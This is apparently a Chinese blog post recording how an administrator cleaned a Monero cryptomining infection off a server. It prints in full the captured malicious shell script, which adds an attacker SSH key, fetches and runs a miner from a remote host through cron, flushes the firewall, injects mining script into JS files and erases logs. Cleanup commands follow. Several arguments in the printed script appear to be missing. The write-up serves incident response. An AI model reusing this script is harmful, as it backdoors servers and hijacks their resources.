XMR恶意挖矿脚本处理笔记
一、登录
攻击者如何登录系统未能查出,所有日志已被清除。为防万一,把系统中没用的用户都删掉并修改其他用户密码。
二、被攻击后的表象
1、服务器资源被大量占用,资源占用率飙升;
2、服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)
3、网站无法加载,会出现浏览器卡死的情况
三、排查
1、访问服务器上运行的网站,从浏览器控制台中发现不停访问一个wss的地址(wss://xmr.omine.org:8181/),并且很慢。
2、通过百度搜索这个地址,可知此为XMR恶意挖矿脚本。
3、远程登录服务器,输入top命令,发现有zigw进程在运行,消耗大量资源,kill掉以后还会出现。
4、查看系统任务计划,发现定期同步恶意脚本的计划内容
# crontab -l
5、获取其样本文件,然后删除其任务计划
# wget http://c.21-2n.com:43768/shz.sh
# crontab -r
6、查看该样本文件,是一个shell脚本,内容如下:
#!/bin/sh
setenforce >dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux >/dev/null
sync && echo >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
then
pkill zjgw
chattr -i /etc/shz.sh
rm -f /etc/shz.sh
chattr -i /tmp/shz.sh
rm -f /tmp/shz.sh
chattr -i /etc/gmbpr
rm -f /etc/gmbpr
else
echo "ok"
fi
if [ -f "$rtdir" ]
then
echo "goto 1" >> /etc/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
mkdir /root/.ssh
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod /root/.ssh/
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /etc
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/etc/zigw"
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /etc/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
fi
fi
chmod zigw
sleep 1s
./zigw
else
echo "runing....."
fi
chmod /etc/zigw
chattr +i /etc/zigw
chmod /etc/shz.sh
chattr +i /etc/shz.sh
shdir='/etc/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh
fi
sh /etc/shz.sh
fi
else
echo "goto 1" > /tmp/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
fi
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /tmp
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/tmp/zigw"
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /tmp/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
fi
fi
chmod zigw
sleep 1s
./zigw
else
echo "runing....."
fi
chmod /tmp/zigw
chattr +i /tmp/zigw
chmod /tmp/shz.sh
chattr +i /tmp/shz.sh
shdir='/tmp/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh
fi
sh /tmp/shz.sh
fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
echo > /var/spool/mail/root
7、阅读脚本内容,发现可能会在/etc或/tmp下创建shz.sh和zigw文件,并设置了特殊权限,此次发现是在/etc中;同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。
# rm -rf ~/.ssh
#
# ps -aux | grep zigw
# kill - <进程号>
# ps -aux | grep shz
# kill - <进程号>
#
# chattr -i /etc/shz.sh /etc/zigw
# rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2
8、查看任务计划的配置文件,并删除相应内容
# ls -alh /etc/cron.d/
# rm -f /etc/cron.d/root
9、恢复服务器中的js文件(其中grep的参数为小写的L)
# find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d'
10、因此恶意脚本中删除了所有防火墙规则,影响到docker容器的网络功能,即容器中无法访问网络,导致其中运行的网站无法访问数据库,经过查阅资料和研究,认为需要重建docker网络,但累了一天,懒得弄了,正好系统更新中包含了docker,更新后恢复正常,得出结论:比较简单的解决方法就是更新或重装(好像重建docker网络也不难)。
比较有疑问的是,看了脚本中是用iptables操作的,但我的服务器中采用的是firewall,没想明白为何会产生影响。
XMR恶意挖矿脚本处理笔记的更多相关文章
- XMR恶意挖矿案例简析
前言 数字货币因其技术去中性化和经济价值等属性,逐渐成为大众关注的焦点,同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径.本文简析通过蜜罐获取的XMR恶意挖矿事件:攻击者通过爆破SSH获取系 ...
- 网站被XMR恶意挖矿
发现: 网站首页被恶意更改 网站的关键词和描述被恶意更改 服务器和只要访问此服务器上的网页cup 直线上升100% 排查代码发现js 文件被恶意更改,访问了挖矿网站 操作:删除js 里面的恶意代码,更 ...
- Web应急:门罗币恶意挖矿
门罗币(Monero 或 XMR),它是一个非常注重于隐私.匿名性和不可跟踪的加密数字货币.只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑 ...
- Kworkerd恶意挖矿分析
转自:https://www.360zhijia.com/anquan/417114.html 0x01 快速特征排查 TOP显示CPU占用高,但是没有高占用的进程 存在与未知服务器13531端口建立 ...
- 高端黑链SEO—恶意JS脚本注入访问伪随机域名
摘要:我们的服务器又出入侵事故了.有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码.在黑链 SEO 中这是常见的手法,但奇特的地方就在于我们这次捕 ...
- shell 脚本实战笔记(11)--Mysql在linux下的安装和简单运维
前言: linux中安装mysql以及配置的管理, 基础的运维和管理还是需要会一些的. 这边作下笔记, 以求天天向上(^_^). 安装流程:*). 安装mysql-server1). 借助yum检索相 ...
- shell 脚本实战笔记(10)--spark集群脚本片段念念碎
前言: 通过对spark集群脚本的研读, 对一些重要的shell脚本技巧, 做下笔记. *). 取当前脚本的目录 sbin=`dirname "$0"` sbin=`cd &quo ...
- 阿里云服务器挖矿脚本bioset攻击解决
1.问题出现 一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序 阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来 于是 ...
- loadrunner录制脚本方式笔记
1.脚本录制的基本原则 充分考虑脚本的执行效率 性能测试脚本关注的是如何模拟用户的真实行为.因此,用于测试的脚本应该接近用户的真正操作.这就要求录制后 的脚本在修改的过程中不要增加过多 ...
随机推荐
- ADO.NET的五大对象【转】
ADO.NET是一组用于和数据源进行交换的面向对象类库.通常情况下,数据源是数据库,也可以是文本文件.Excel表或XML文件.ADO.NET的主要类对象有Connection.Command.Dat ...
- 步步为营-33-Md5(32)加密与Base64加密
说明: 1:直接贴码 using System; using System.Collections.Generic; using System.ComponentModel; using System ...
- charAt和String的用法
package charpter2; import java.util.Scanner; public class Test { public static void main(String[] ar ...
- CSS3:透明度
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- PowerDesigner表创建脚本双引号问题
在使用PowerDesigner表属性的Preview查看创建脚本的时候,发现大多表名和字段名都加上了双引号,而且有引号的都是大小写混合的,导致创建的表里,表名和字段名也都是大小写混合的. 在一番搜索 ...
- git的入门摸索和入门研究
git官网:https://git-scm.com/ git教程---菜鸟教程:http://www.runoob.com/git/git-tutorial.html git教程---廖雪峰:http ...
- mongo 复制集命令
1.登录primary2.use admin >rs.add("new_node:port") 或 rs.add({"_id":4,"host& ...
- A. 【UR #4】元旦三侠的游戏
题解: 挺水的吧 会发现当b不等于1的时候,状态只有sigma i x^(1/i) 显然这东西很小.. 然后我们会发现每个点向两个点动 定义必胜点和必败点 当一个点有一条边连向必败点 那么它就是必胜点 ...
- Python作业-选课系统
目录 Python作业-选课系统 days6作业-选课系统: 1. 程序说明 2. 思路和程序限制 3. 选课系统程序目录结构 4. 测试帐户说明 5. 程序测试过程 title: Python作业- ...
- 【Java】 剑指offer(22) 链表中倒数第k个结点
正文 本文参考自<剑指offer>一书,代码采用Java语言. 更多:<剑指Offer>Java实现合集 题目 输入一个链表,输出该链表中倒数第k个结点.为了符合大多数人的 ...